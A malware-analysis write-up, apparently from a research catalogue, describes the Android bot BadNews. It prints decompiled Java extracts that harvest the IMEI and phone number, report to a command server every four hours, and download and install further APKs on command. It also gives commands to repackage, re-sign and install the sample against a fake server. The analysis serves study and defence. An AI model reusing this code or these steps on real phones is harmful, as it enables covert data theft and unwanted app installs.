BadNews

April 2013

Summary

Undesired applications installation

GroDDViewer graphs:

Details

BadNews is a bot discovered in April 2013. Its malicious final charge depends on commands received from a remote server. The malicious code is located in the package com.mobidisplay.advertsv1. Its behavior can be divided into three distinguished stages:

Stage 1: Malicious service setup and sensitive data recovery

BadNews starts at the reception of the BOOT_COMPLETED intent or the PHONE_STATE intent. When one of these intents is received, the service AdvService is started. On creation, this service collects information about the device such as the IMEI, the device model, the phone number and the network operator. Finally, this service sets up an alarm manager that is in charge of broadcasting an intent for the receiver AReceiver. This receiver will restart AdvService every four hours with an intent containing an extra data named update and set to true.

final AlarmManager aM = this.getApplicationContext().getSystemService("alarm");
final PendingIntent broadcast = PendingIntent.getBroadcast((Context)this, 0, new Intent(this, AReceiver.class), 134217728);
aM.cancel(broadcast);
final long elapsedRealtime = SystemClock.elapsedRealtime();
aM.setRepeating(3, elapsedRealtime, 14400000L, broadcast);


Stage 2: Notify the C&C server of the availability of the device

BadNews transforms the device into a slave of a C&C server located at http://xxxplay.net/api/adv.php [1] . When AdvService is restarted with the extra data update set to true, it creates a thread which executes a function named getUpdate(). This function contacts the server and begins with sending an HTTP post request with the sensitive information collected on creation.

Stage 3: Execute the service order

The function getUpdate() then receives an answer from the server, which describes what to do. It can be one of these possibilities:

  1. Open an URL.
  2. Create a notification with an URL to open.
  3. Install a shortcut that will open an URL.
  4. Download and install an APK file.
  5. Create a notification with an APK file to download and install.
  6. Install a shortcut that will download and install an APK file.
  7. Update the primary or secondary server address.
  8. Do nothing.

The APK files that will be installed may be potentially malicious. During our observations, the server sent a malicious version of Doodle Jump and a fake version of Adobe Flash for Android. The second application is branded as Adobe Flash but looked like a game when we launched it. The C&C server seems no longer available.

[1]We intentionally anonymzed this URL

Other resources

Triggering

You need to reboot the phone and then wait four hours before receiving a command. To force the execution, We assume that BadNews apk file name is badnews.apk
Launch the python server server.py (from https://snipt.net/raw/f8ef141069c3e7ac7e0134c6b58c25bf/) with root rights in a local directory:

sudo python server.py 0.0.0.0 80

Create a file index.html in the same directory containing the line:

{"status":"install", "sound":0, "vibro":0, "apkname":"", "url":"/.apk"}

Where is the local server IP adresse, and another_malware_to_install>.apk is the seconde malware you want to install in the phone infected by Badnews.
Modify badnews.apk by decompiling it first:

apktool d badnews.apk

That creates a local directory with the name BadNews
In the file "badnews/smali/com/mobidisplay/advertsv1/AdvService.smali"
Replace "http://mobidisplay.net/api/adv.php" with "/index.html", and 0xdbba00 (14400000 ms in dec = 4h) with 0x2BF20 (3 minutes)
. Then repackage the new APK:

apktool b badnews -o new_badnews.apk

Sign the new APK:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android new_badnews.apk androiddebugkey

Install the new APK and start the malicious service:

adb install new_badnews.apk

adb shell am startservice ru.blogspot.playsib.savageknife/com.mobidisplay.advertsv1.AdvService -ez update 1

Badnews will download the seconde malware APK and try to install it. A window will popup and ask you to install the downloaded APK, accept and the seconde malware will be installed.

Caracteristics

Malware type :

  • Remote Administration Tool (RAT)

Attacks :

  •   Confidentiality

  •   Normal use

Infection technique : Repackaged application

Malicious code type :

  • Use Java code

Hidding techniques :

  • Not hidden

Triggering techniques :

  • Waits for a fixed period of time
  • Waits for a particular intent

Samples

Java source code extracts:

fillPostData.java is the function used to retrieve sensitive information during AdvService creation.
onStartCommand.java is the function executed when AdvService is started.
startUpdater.java is the function used to setup the alarm for triggering AReceiver every 4 hours.
AReceiver.java is the BroadcastReceiver used to restart AdvService with the extra data "update".
startUpdateThread.java is the function which creates and executes a thread when "update" is set to true.
getUpdate.java is the function executed by the thread which simply calls the sendRequest() function.
sendRequest.java is the function used to contact the remote server and receive commands to execute.

fillPostData.java

// in file com/mobidisplay/advertsv1/AdvService.java

private void fillPostData() {

	Object str = this.getSystemService("phone");

	this.ii = ((TelephonyManager)str).getDeviceId();
	this.opNm = ((TelephonyManager)str).getNetworkOperator();

	while (true)
	{
		try
		{
			this.vesn = this.getPackageManager().getPackageInfo(this.getPackageName(), 0).versionName;
			this.pacNme = this.getPackageName();
			this.phoNum = ((TelephonyManager)str).getLine1Number();
			this.phMl = Build.MODEL;
			this.lg = Locale.getDefault().getLanguage();
			this.io = "{\"io\":\"none\"}";
			str = String.valueOf(this.ii);
			str = str + " " + this.pacNme + " " + this.phoNum + " " + this.phMl 
				+ " " + this.lg + " " + this.io;
			this.log((String)str);
		}
		catch (PackageManager$NameNotFoundException ex) { continue; }

		break;
	}
}

onStartCommand.java

// in file com/mobidisplay/advertsv1/AdvService.java
 
public int onStartCommand(final Intent intent, final int n, final int n2) {

	this.log("AdvService Started");

	if (intent != null)
	{
		if (intent.getExtras() != null)
		{
			//If there is the extra data "update" set to true
			if (intent.getExtras().getBoolean("update"))
			{
				this.startUpdateThread();
			}
		}
		else { this.startUpdater(); }
	}
	else { this.startUpdater(); }

	return 1;
}

startUpdater.java

// in file com/mobidisplay/advertsv1/AdvService.java

private void startUpdater() {

	final AlarmManager alarmManager = this.getApplicationContext().getSystemService("alarm");
	final PendingIntent broadcast;

	//Intent for the BroadcastReceiver AReceiver
	broadcast = PendingIntent.getBroadcast(this, 0, new Intent(this, AReceiver.class), 134217728);

	alarmManager.cancel(broadcast);
	final long elapsedRealtime = SystemClock.elapsedRealtime();

	//Repeat the broadcast every 4 hours
	alarmManager.setRepeating(3, elapsedRealtime, 14400000L, broadcast);
}

AReceiver.java

// in file com/mobidisplay/advertsv1/AReceiver.java

public void onReceive(final Context context, Intent intent) {

	intent = new Intent();
	intent.setAction("com.mobidisplay.advertsv1.AdvService");
	intent.putExtra("update", true);
	context.startService(intent);
}

startUpdateThread.java

// in file com/mobidisplay/advertsv1/AdvService.java

private void startUpdateThread(){

	//Getting the function "getUpdate()"
	final AdvService.AdvService$1 target = new AdvService.AdvService$1(this);

	final Thread thread = new Thread((Runnable)target);
	thread.start();
}

getUpdate.java

// in file com/mobidisplay/advertsv1/AdvService.java

private void getUpdate() {

	final String primaryServerUrl = this.primaryServerUrl;

	try {
		try {          
			this.sendRequest(primaryServerUrl);
			this.stopSelf();
		}
		catch (IOException message) {

			this.log("Primary server is unavailable, try secondary");
			final String serl = this.serl;

			try {
				this.sendRequest(serl);
				this.stopSelf();
			}
			catch (IOException message) {
				this.log("Secondary server is unavailable too, do nothing");
			}
			catch (JSONException ex2) {
				message = ((Throwable)message).getMessage();
				this.log(message);
			}
		}
		catch (JSONException ex) {
			final String message2 = ex.getMessage();
			this.log(message2);
			this.stopSelf();
		}
	}
	catch (Throwable t) {}
}

sendRequest.java

// in file com/mobidisplay/advertsv1/AdvService.java
// extract of the function "sendRequest"

final JSONObject jsonObject = new JSONObject(jsonTokener);
final String string3 = jsonObject.getString("status");

//Open an URL
if (string3.equalsIgnoreCase("news")) {
	this.parseNews(jsonObject);
}
//Create a notification with an URL to open
if (string3.equalsIgnoreCase("showpage")) {
	this.parseShowPage(jsonObject);
}
//Download and install an APK file
if (string3.equalsIgnoreCase("install")) {
	this.parseInstall(jsonObject);
}
//Create a notification with an APK file to download and install
if (string3.equalsIgnoreCase("showinstall")) {
	this.parseShowInstall(jsonObject);
}
//Install a shortcut that will open an URL
if (string3.equalsIgnoreCase("iconpage")) {
	this.parseIconPage(jsonObject);
}
//Install a shortcut that will download and install an APK file
if (string3.equalsIgnoreCase("iconinstall")) {
	this.parseIconInstall(jsonObject);
}
//Update primary server adress
if (string3.equalsIgnoreCase("newdomen")) {
	this.primaryServerUrl = jsonObject.getString("url");
	final SharedPreferences$Editor putString = this.prefs.edit().putString("primaryServerUrl", this.primaryServerUrl);
	putString.commit();
}
//Update secondary server adress
if (string3.equalsIgnoreCase("seconddomen")) {
	this.serl = jsonObject.getString("url");
	final SharedPreferences$Editor putString2 = this.prefs.edit().putString("serl", this.serl);
	putString2.commit();
}
//Stop itself
if (string3.equalsIgnoreCase("stop")) {
	this.stopUpdating();
	this.stopSelf();
}